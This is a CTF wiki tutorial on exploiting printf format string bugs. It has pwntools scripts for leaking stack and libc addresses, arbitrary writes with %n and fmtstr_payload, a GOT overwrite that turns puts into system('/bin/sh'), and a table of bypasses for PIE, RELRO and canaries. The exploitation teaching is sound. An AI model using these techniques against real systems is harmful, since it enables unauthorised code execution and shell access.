Athena Wiki

Format String Vulnerabilities

pwnintermediate

Exploit printf format string bugs for arbitrary read and write in CTF pwn challenges.

pwnformat-stringprintfarbitrary-readarbitrary-writegot-overwrite

Format String Vulnerabilities

A format string vulnerability happens when user input is passed directly as the format string argument to printf. This lets you read from and write to arbitrary memory, using the format specifiers that printf already understands.

This is one of the most powerful primitives in pwn: a single printf(buf) call can leak libc addresses, overwrite function pointers, or get you a shell.


The Vulnerability

char buf[100];
fgets(buf, sizeof(buf), stdin);

printf(buf);        // VULNERABLE: user controls the format string
printf("%s", buf);  // SAFE: format string is fixed, buf is just data

The difference: when you control the format string, you decide what specifiers printf processes. %x reads from the stack. %n writes to memory. printf doesn't know you're doing this. It just follows the format string.


How printf Reads the Stack

Here's the key insight: printf gets its arguments from the stack (on x86) or from registers then the stack (on x86-64). When you write printf("%x %x %x"), printf pops three values from the stack and prints them as hex, whether you intended those as arguments or not.

printf("%x %x %x")

Stack:
┌──────────────┐
│ 0x41414141   │  ← arg1 (your input buffer starts here)
│ 0x7f12345678 │  ← arg2 (some libc pointer)
│ 0x00000000   │  ← arg3
└──────────────┘

Output: 41414141 7f12345678 0

Your input buffer is on the stack. So %x will eventually read your own input, along with everything else on the stack around it: saved addresses, canary values, and libc pointers.


Finding Your Offset

Before doing anything, you need to know which %N$x corresponds to the start of your input buffer:

from pwn import *
p = process('./vuln')

p.sendline(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
output = p.recvall().decode()
print(output)
# Look for 0x41414141 (AAAA) in the output
# If it appears at position 7 → your offset is 7

Once you know the offset, use %N$x or %N$s for direct access:

# Read the 7th argument (your input buffer)
p.sendline(b"%7$p")

# Read the string at the 7th argument
p.sendline(b"%7$s")

Primitive 1: Arbitrary Read

Leak stack values

# Dump 20 stack words
payload = b"%p." * 20
p.sendline(payload)

This leaks libc addresses, stack addresses, and canary values. Anything on the stack is fair game. In a CTF, run this first to see what's available.

Read a specific memory address

To read memory at an arbitrary address, place that address in your input, then read it with %s:

# Read the value stored at puts@GOT
target = p64(elf.got['puts'])
payload = target + b"%7$s"   # offset 7 = start of our input
p.sendline(payload)

%7$s dereferences the 7th argument as a pointer and prints the string there. Since the 7th argument is your input (which starts with the GOT address), it reads the value stored at puts@GOT, leaking the real libc address of puts.


Primitive 2: Arbitrary Write (%n)

%n is the most powerful format specifier. It writes the number of characters printed so far to an address on the stack.

How it works:

  1. printf has printed N characters so far (from %Nc, padding, etc.)
  2. %n takes the next argument as a pointer
  3. It writes the value N (number of chars printed) to that pointer

Writing a small value

# Write 0x41 (65) to a target address
target_addr = 0x602020

payload  = p64(target_addr)    # place target address on stack (at our offset)
payload += b"%57c"             # print 57 characters (8 bytes already printed + 57 = 65)
payload += b"%8$n"             # write 65 to the 8th argument (our target_addr)

The 8 bytes of target_addr are already "printed" as garbage, so printf's internal counter starts at 8. Then %57c adds 57 more. %n writes 65 (0x41) to the address.

pwntools fmtstr_payload

For anything beyond trivial writes, use pwntools:

from pwn import *
elf = ELF('./vuln')

# Map: {address_to_write: value_to_write}
writes = {elf.got['exit']: elf.sym['win']}

payload = fmtstr_payload(offset, writes)
# offset = your format string offset (from the AAAA.%p test)

fmtstr_payload handles all the complex arithmetic: splitting large values into multiple %hn writes, ordering them correctly, and avoiding null bytes.


Auto-Finding the Offset

Let pwntools figure out the offset for you:

from pwn import *

def exec_fmt(payload):
    p = process('./vuln')
    p.sendline(payload)
    return p.recvall()

autofmt = FmtStr(exec_fmt)
print(f"Offset: {autofmt.offset}")

GOT Overwrite via Format String

The most common CTF pattern: use the format string to overwrite a GOT entry with system, then trigger it with "/bin/sh".

from pwn import *

elf  = ELF('./vuln')
libc = ELF('./libc.so.6')
p    = process('./vuln')

# Step 1: Leak libc address
p.sendline(b"%21$p")    # find this offset by trial
leak = int(p.recvline().strip(), 16)
libc.address = leak - libc.sym['__libc_start_main'] - 0x80
log.success(f"libc @ {hex(libc.address)}")

# Step 2: Overwrite puts@GOT with system
writes = {elf.got['puts']: libc.sym['system']}
p.sendline(fmtstr_payload(offset, writes))

# Step 3: Trigger. The next call to puts(input) becomes system(input)
p.sendline(b"/bin/sh")
p.interactive()

For more on GOT overwrites, see GOT Overwrite.


Protections and Bypasses

ProtectionImpactBypass
PIEBinary addresses randomizedLeak a binary address via %N$p first, then set elf.address
Full RELROGOT is read-onlyTarget __malloc_hook/__free_hook (glibc < 2.34) or _IO_2_1_stdout_
Stack CanaryCanary value on stackLeak it via %N$p before any overflow

Format string bugs are especially powerful because they can leak and write in the same vulnerability. Leak the canary, leak libc, then overwrite. All through printf.


Checklist

  • Is printf(buf) or fprintf(buf) called with user input as format string?
  • Find offset: send "AAAA.%p.%p...", look for 0x41414141
  • Leak libc/binary/canary addresses with %N$p
  • Use fmtstr_payload() for writes
  • Target GOT (Partial RELRO) or hooks (Full RELRO, glibc < 2.34)
  • On glibc 2.34+: target _IO_2_1_stdout_ or .fini_array

Last updated on

On this page